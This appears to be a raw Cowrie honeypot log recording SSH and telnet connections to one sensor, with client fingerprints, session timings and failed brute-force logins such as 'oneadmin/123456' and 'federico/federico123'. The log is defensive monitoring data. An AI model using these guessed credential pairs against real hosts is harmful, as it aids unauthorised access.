{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:17.855457Z","src_ip":"161.248.189.72","session":"827f0d4b21f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"q1w2e3r4","message":"login attempt [deployer/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:18.799595Z","src_ip":"161.248.189.72","session":"827f0d4b21f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.304429769515991,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:19.390647Z","src_ip":"31.42.59.133","session":"1cf1a58cee72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:20.031622Z","src_ip":"161.248.189.72","session":"827f0d4b21f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49740,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c9e3599b89","protocol":"telnet","message":"New connection: 135.148.33.91:49740 (159.203.135.109:23) [session: 39c9e3599b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:20.174838Z"}
{"eventid":"cowrie.session.closed","duration":34.40562725067139,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:23.678192Z","src_ip":"135.148.33.91","session":"e4b16d7a25f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55610,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3298260377a","protocol":"telnet","message":"New connection: 135.148.33.91:55610 (159.203.135.109:23) [session: b3298260377a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:30.970297Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57426,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1e9ab3581c","protocol":"telnet","message":"New connection: 135.148.33.91:57426 (159.203.135.109:23) [session: be1e9ab3581c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:33.987782Z"}
{"eventid":"cowrie.session.closed","duration":34.443697690963745,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:35.146178Z","src_ip":"135.148.33.91","session":"140d19a8efc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56144,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd0596a22084","protocol":"telnet","message":"New connection: 135.148.33.91:56144 (159.203.135.109:23) [session: fd0596a22084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:37.941873Z"}
{"eventid":"cowrie.session.closed","duration":34.11583065986633,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:38.218221Z","src_ip":"135.148.33.91","session":"9f4b991c65bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.78132486343384,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:42.810208Z","src_ip":"45.58.127.90","session":"45cfbadea943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00224542617798,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:43.688941Z","src_ip":"104.140.145.149","session":"1b2f3f99d9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37002,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4239b74faec","protocol":"telnet","message":"New connection: 135.148.33.91:37002 (159.203.135.109:23) [session: b4239b74faec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:47.585823Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":14179,"dst_ip":"159.203.135.109","dst_port":22,"session":"b75252c2733d","protocol":"ssh","message":"New connection: 185.158.22.150:14179 (159.203.135.109:22) [session: b75252c2733d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:47.747932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:47.752436Z","src_ip":"185.158.22.150","session":"b75252c2733d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:47.917784Z","src_ip":"185.158.22.150","session":"b75252c2733d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oneadmin","password":"123456","message":"login attempt [oneadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:48.612759Z","src_ip":"185.158.22.150","session":"b75252c2733d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:49.781127Z","src_ip":"185.158.22.150","session":"b75252c2733d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.525569915771484,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:51.503006Z","src_ip":"135.148.33.91","session":"622a272fa756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39970,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b11dff7dd2d","protocol":"telnet","message":"New connection: 135.148.33.91:39970 (159.203.135.109:23) [session: 7b11dff7dd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:51.774109Z"}
{"eventid":"cowrie.session.closed","duration":35.42212176322937,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:01:55.596840Z","src_ip":"135.148.33.91","session":"39c9e3599b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44916,"dst_ip":"159.203.135.109","dst_port":23,"session":"23783ceeb10f","protocol":"telnet","message":"New connection: 135.148.33.91:44916 (159.203.135.109:23) [session: 23783ceeb10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:00.587552Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45640,"dst_ip":"159.203.135.109","dst_port":23,"session":"b201d9684a82","protocol":"telnet","message":"New connection: 135.148.33.91:45640 (159.203.135.109:23) [session: b201d9684a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:01.924109Z"}
{"eventid":"cowrie.session.closed","duration":32.114078998565674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:03.084282Z","src_ip":"135.148.33.91","session":"b3298260377a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47516,"dst_ip":"159.203.135.109","dst_port":23,"session":"38afdd2ccd71","protocol":"telnet","message":"New connection: 135.148.33.91:47516 (159.203.135.109:23) [session: 38afdd2ccd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:05.302284Z"}
{"eventid":"cowrie.session.closed","duration":34.73021078109741,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:08.717757Z","src_ip":"135.148.33.91","session":"be1e9ab3581c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42605209350586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:09.367793Z","src_ip":"135.148.33.91","session":"fd0596a22084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79715704917908,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:20.382844Z","src_ip":"135.148.33.91","session":"b4239b74faec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e2640de9b87","protocol":"telnet","message":"New connection: 135.148.33.91:57960 (159.203.135.109:23) [session: 2e2640de9b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:23.458260Z"}
{"eventid":"cowrie.session.closed","duration":34.27699255943298,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:26.050992Z","src_ip":"135.148.33.91","session":"7b11dff7dd2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.582967042922974,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:34.170422Z","src_ip":"135.148.33.91","session":"23783ceeb10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56642150878906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:36.490384Z","src_ip":"135.148.33.91","session":"b201d9684a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80105471611023,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:40.103214Z","src_ip":"135.148.33.91","session":"38afdd2ccd71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39554,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5aa0ccf750e","protocol":"telnet","message":"New connection: 135.148.33.91:39554 (159.203.135.109:23) [session: b5aa0ccf750e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:41.446925Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":48788,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ae0b715687","protocol":"telnet","message":"New connection: 104.140.145.149:48788 (159.203.135.109:23) [session: c4ae0b715687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:46.918209Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f67943bcfa","protocol":"telnet","message":"New connection: 135.148.33.91:46290 (159.203.135.109:23) [session: 86f67943bcfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:02:52.532231Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52330,"dst_ip":"159.203.135.109","dst_port":23,"session":"408139eac1a0","protocol":"telnet","message":"New connection: 135.148.33.91:52330 (159.203.135.109:23) [session: 408139eac1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:02.260358Z"}
{"eventid":"cowrie.session.closed","duration":39.06812071800232,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:02.526293Z","src_ip":"135.148.33.91","session":"2e2640de9b87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52544,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46cc7f70566","protocol":"telnet","message":"New connection: 135.148.33.91:52544 (159.203.135.109:23) [session: e46cc7f70566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:02.611971Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53074,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f13593e71b","protocol":"telnet","message":"New connection: 135.148.33.91:53074 (159.203.135.109:23) [session: c6f13593e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:03.608205Z"}
{"eventid":"cowrie.session.closed","duration":32.83641791343689,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:14.283237Z","src_ip":"135.148.33.91","session":"b5aa0ccf750e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32868,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb8c572468b","protocol":"telnet","message":"New connection: 135.148.33.91:32868 (159.203.135.109:23) [session: fdb8c572468b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:17.740676Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35292,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed6f244da981","protocol":"telnet","message":"New connection: 135.148.33.91:35292 (159.203.135.109:23) [session: ed6f244da981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:21.802011Z"}
{"eventid":"cowrie.session.closed","duration":34.323110580444336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:26.855172Z","src_ip":"135.148.33.91","session":"86f67943bcfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38144,"dst_ip":"159.203.135.109","dst_port":23,"session":"4be31a0871e4","protocol":"telnet","message":"New connection: 135.148.33.91:38144 (159.203.135.109:23) [session: 4be31a0871e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:27.523971Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.208.82.94","src_port":22516,"dst_ip":"159.203.135.109","dst_port":23,"session":"18facf6fa651","protocol":"telnet","message":"New connection: 102.208.82.94:22516 (159.203.135.109:23) [session: 18facf6fa651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:30.917688Z"}
{"eventid":"cowrie.session.closed","duration":34.57439637184143,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:37.186270Z","src_ip":"135.148.33.91","session":"e46cc7f70566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9712336063385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:37.579323Z","src_ip":"135.148.33.91","session":"c6f13593e71b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.346863985061646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:37.607101Z","src_ip":"135.148.33.91","session":"408139eac1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.922597408294678,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:43.840190Z","src_ip":"102.208.82.94","session":"18facf6fa651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50764,"dst_ip":"159.203.135.109","dst_port":23,"session":"4721952ab1e7","protocol":"telnet","message":"New connection: 135.148.33.91:50764 (159.203.135.109:23) [session: 4721952ab1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:47.259106Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49420,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ba34b91e89","protocol":"telnet","message":"New connection: 135.148.33.91:49420 (159.203.135.109:23) [session: 90ba34b91e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:48.208397Z"}
{"eventid":"cowrie.session.closed","duration":34.71805286407471,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:52.458554Z","src_ip":"135.148.33.91","session":"fdb8c572468b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41593074798584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:03:55.217850Z","src_ip":"135.148.33.91","session":"ed6f244da981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82697796821594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:03.350837Z","src_ip":"135.148.33.91","session":"4be31a0871e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60412,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61c5cf3880f","protocol":"telnet","message":"New connection: 135.148.33.91:60412 (159.203.135.109:23) [session: d61c5cf3880f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:03.622549Z"}
{"eventid":"cowrie.session.closed","duration":92.31903123855591,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:19.237165Z","src_ip":"104.140.145.149","session":"c4ae0b715687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72820997238159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:21.987208Z","src_ip":"135.148.33.91","session":"4721952ab1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66585826873779,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:22.874137Z","src_ip":"135.148.33.91","session":"90ba34b91e89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44594,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa95bbed02e9","protocol":"telnet","message":"New connection: 135.148.33.91:44594 (159.203.135.109:23) [session: fa95bbed02e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:25.954716Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45272,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1b7ec50c40","protocol":"telnet","message":"New connection: 135.148.33.91:45272 (159.203.135.109:23) [session: 9b1b7ec50c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:26.208848Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48078,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa42cc2fcc7","protocol":"telnet","message":"New connection: 135.148.33.91:48078 (159.203.135.109:23) [session: eaa42cc2fcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:31.050421Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":47177,"dst_ip":"159.203.135.109","dst_port":22,"session":"9055639b39ab","protocol":"ssh","message":"New connection: 213.209.159.56:47177 (159.203.135.109:22) [session: 9055639b39ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:32.758467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:32.763651Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:32.849562Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico","message":"login attempt [federico/federico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:33.251020Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico1","message":"login attempt [federico/federico1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:34.335851Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico123","message":"login attempt [federico/federico123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:35.421009Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
